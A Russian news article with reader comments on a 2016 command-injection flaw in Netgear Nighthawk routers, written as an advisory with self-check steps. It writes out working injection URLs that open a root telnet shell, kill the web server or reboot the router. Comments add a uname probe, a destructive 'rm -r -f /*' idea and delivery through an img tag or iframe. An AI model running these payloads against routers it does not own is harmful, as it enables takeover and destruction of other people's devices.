Маршрутизатор Netgear R8000 открыт для всех пользователей интернета
Специалисты по безопасности рекомендуют владельцам WiFi-маршрутизаторов популярной линейки Netgear Nighthawk (восемь моделей, список под катом) временно отключить веб-сервер на маршрутизаторе до выхода официальной версии патча. Пока что Netgear в экстренном порядке выпустила бета-версию патча для некоторых из пострадавших моделей. Для остальных патча нет вообще.
Новая уязвимость исключительно проста в эксплуатации и доступна для понимания даже школьникам. Эксплойт опубликован — есть подробная инструкция по взлому. Поэтому слишком высок риск стать жертвой атаки.
Список уязвимых моделей
- Netgear AC1750-Smart WiFi Router (модель R6400)
- Netgear AC1900-Nighthawk Smart WiFi Router (модель R7000)
- Netgear AC2300-Nighthawk Smart WiFi Router with MU-MIMO (модель R7000P)
- Netgear AC2350-Nighthawk X4 AC 2350 Dual Band WiFi Router (модель R7500)
- Netgear AC2600-Nighthawk X4S Smart WiFi Gaming Router (модель R7800)
- Netgear AC3200-Nighthawk AC3200 Tri-Band WiFi Router (модель R8000)
- Netgear AC5300-AC5300 Nighthawk X8 Tri-Band WiFi Router (модель R8500)
- Netgear AD7200-Nighthawk X10 Smart WiFi Router (модель R9000)
Удалённое выполнение команды
Обнаруженная уязвимость допускает удалённое выполнение команды на маршрутизаторе, если пользователь откроет в браузере веб-страницу с вредоносного сайта или с нормального сайта, вместе с которой загрузится вредоносный рекламный баннер через AdSense или любую другую рекламную сеть. По локальной сети можно инициировать удалённое выполнение команды простым запросом к маршрутизатору.
По сути, для удалённого выполнения команды Linux на маршрутизаторе достаточно всего лишь добавить эту команду к обычному URL. Команда выполняется с рутовыми привилегиями. Это означает, что можно сделать с маршрутизатором жертвы практически что угодно: открыть сессию telnet, FTP, использовать его для DDoS-атаки или что угодно ещё. Он полностью во власти злоумышленника.
Проверка маршрутизатора на наличие уязвимости
Для проверки конкретного маршрутизатора на наличие бага делаем следующее.
1. Открываем в браузере страницу
http://192.168.1.1/cgi-bin/;telnetd$IFS-p$IFS’56789?
(здесь 192.168.1.1 следует заменить на локальный IP-адрес вашего маршрутизатора, если он отличается). В браузере будет белая или серая страница, в зависимости от браузера.2. Открываем командную строку (под Windows это Win+R > cmd).
3. Набираем в командной строке следующую команду:
telnet 192.168.1.1 56789
Опять же IP-адрес 192.168.1.1 заменяем на локальный IP-адрес вашего маршрутизатора. Если появится сообщение, что telnet «не является внутренней или внешней командой», то устанавливаем клиент telnet: «Панель управления» > «Программы и компоненты» > «Включение или отключение компонентов Windows» > «Клиент Telnet» (включенная галочка).
4. Если ваш маршрутизатор уязвим, то после выполнения вышеуказанной команды появится примерно такое сообщение.
Если ваша модель маршрутизатора указана в списке уязвимых, то на последних версиях прошивки такое сообщение должно появляться. Возможно, более старые версии прошивки не подвержены багу, специалисты ещё не проверили все версии, а компания-производитель тоже не опубликовала полную информацию.
5. Чтобы для проверки убить сессию telnet, нужно узнать идентификатор процесса telnetd. Для начала пишем:
ps | grep telnet
Получим список процессов, в том числе telnetd (7302 на скриншоте).
6. Далее наберите стандартную Linux-команду:
kill <process_id>
где <process_id> — идентификатор процесса, который мы узнали на предыдущем этапе.
После нажатия клавиши Enter процесс будет убит. Точно так же можно убить любой другой процесс или отключить доступ к веб-интерфейсу (
http://192.168.1.1/cgi-bin/;killall$IFS’httpd’
). По идее, если с помощью уязвимости вы отключите доступ к веб-интерфейсу, то админский интерфейс станет недоступным для других злоумышленников, которые попробуют воспользоватью этой уязвимостью, до перезагрузки маршрутизатора. Наверное, это приемлемый вариант в том случае, если нужно работать в интернете, но патч не установлен.Хотя удалённая перезагрузка маршрутизатора всё равно должна сработать:
http://[RouterIP]/cgi-bin/;REBOOT
В качестве ещё одной защитной меры можно посоветовать сменить стандартный локальный IP-адрес маршрутизатора.
Медленная компания Netgear
Уязвимость обнаружил в августе 2016 года Эндрю Роллинс (Andrew Rollins), специалист по безопасности, известный под ником Acew0rm. Он сообщил производителю об этом баге 25 августа, но компания так и не ответила на его письмо. Обождав положенные несколько месяцев, Эндрю выложил информацию об уязвимости в открытый доступ.
В 2009 году точно такую уязвимость нашли в маршрутизаторах с прошивкой DD-WRT. История повторяется.
Если ваш маршрутизатор уязвим, специалисты рекомендуют отключить веб-интерфейс или установить бета-версию патча, который выпущен для моделей R6400, R7000 и R8000.
Сканирование через Shodan выдаёт почти 10 000 уязвимых маршрутизаторов. Так что кое-кто сейчас может хорошо развлечься.
Комментарии (17)
vodopad
13.12.2016 23:27А если передать команду для удаления всего
rm -r -f /*
, то маршрутизатор сдохнет?blind_oracle
13.12.2016 23:45+1Там рид-онли ФС обычно и поверх неё оверлей с конфигами и прочим. Так что скорее всего просто слетит к заводским настройкам, хотя возможны варианты…
kvazimoda24
14.12.2016 00:45-1Зачем замазывать порт на скриншоте и как поможет смена IP у роутера, если он является шлюзом по умолчанию? Неужели его будет на столько сложно найти в сети?
putnik
14.12.2016 08:14+1Будет сложнее подсунуть вам для загрузки рабочую ссылку с прописанной командой. От всего остального не спасёт, конечно.
paluke
14.12.2016 10:47Менять IP — это для случая, когда снаружи web-интерфейс недоступен. Я вы в браузере заходите на страничку, в которой есть <img src="http://192.168.1.1/cgi-bin;.....
heathen
14.12.2016 08:34+2Зачем такие сложности для проверки? Просто перейдите по адресу:
http://[router-address]/cgi-bin/;uname$IFS-a
Вместо [router-address] — IP роутера.
Если выдаст что угодно, кроме ошибки — роутер болен.
mihmig
14.12.2016 09:47Походу эта зараза под названием «бережливое производство» поражает не только крупные Российские компании. «Эффективный» менеджмент Netgear тоже решил «с`оптимизировать» расходы на отдел разработки и тестирования.
Hashish
16.12.2016 01:15С учетом того, что старшие модели из списка стоят ~$500, экономия удивительна вдвойне.
Saffron
16.12.2016 03:08И это работает! Пользователь неприхотлив, а общество защиты прав потребителей ещё не сообразило, как потребителей прокидывают.
franky69
14.12.2016 10:31Kill процесса ненадолго поможет
Надо убирать telnet из /etc/init.d, /etc/rc.d
И смена LAN подсети на 192.168.2.х тоже помогает от таких стандартных попыток
ittrium
16.12.2016 03:01Только что проверил — R7500 этой болезнью не болеет. Кстати, на сайте у Netgear его тоже нет в списке дырявых.
Вероятно ему повезло, т.к. в отличие от остальных там странная двухпроцессорная платформа Quantenna на двух ARM'ах, даже толком нет альтернативных прошивок нормальных :)
maa_boo
19.12.2016 16:28Я не понял, там по умолчанию наружу открыт доступ по HTTP? Я только для локальных адресов открываю (хотя у меня и не NetGear). А там, где надо открыть снаружи — использую брандмауэр с привязкой к адресу.
SunX
19.12.2016 17:12+1Нет, обычный XSS же, Вы (владелец Netgear) заходите на (плохой) сайт, а он открывает iframe с адресом http://192.168.0.1/далее_по_тексту. Ну или не iframe, а картинку грузит, не важно.
hTLK
20.12.2016 16:08+1У меня Netgear R7000. На момент написания статьи был подвержен уязвимости (если не учитывать тот факт, что он работает на нестандартном IP), что меня расстроило. Через пару дней вышла новая официальная прошивка, теперь при попытке взлома появляется стандартное окно браузера с просьбой ввести логин/пароль.
Anastasia_K
Первый раз вижу, чтоб на скриншоте замазывали бы порт)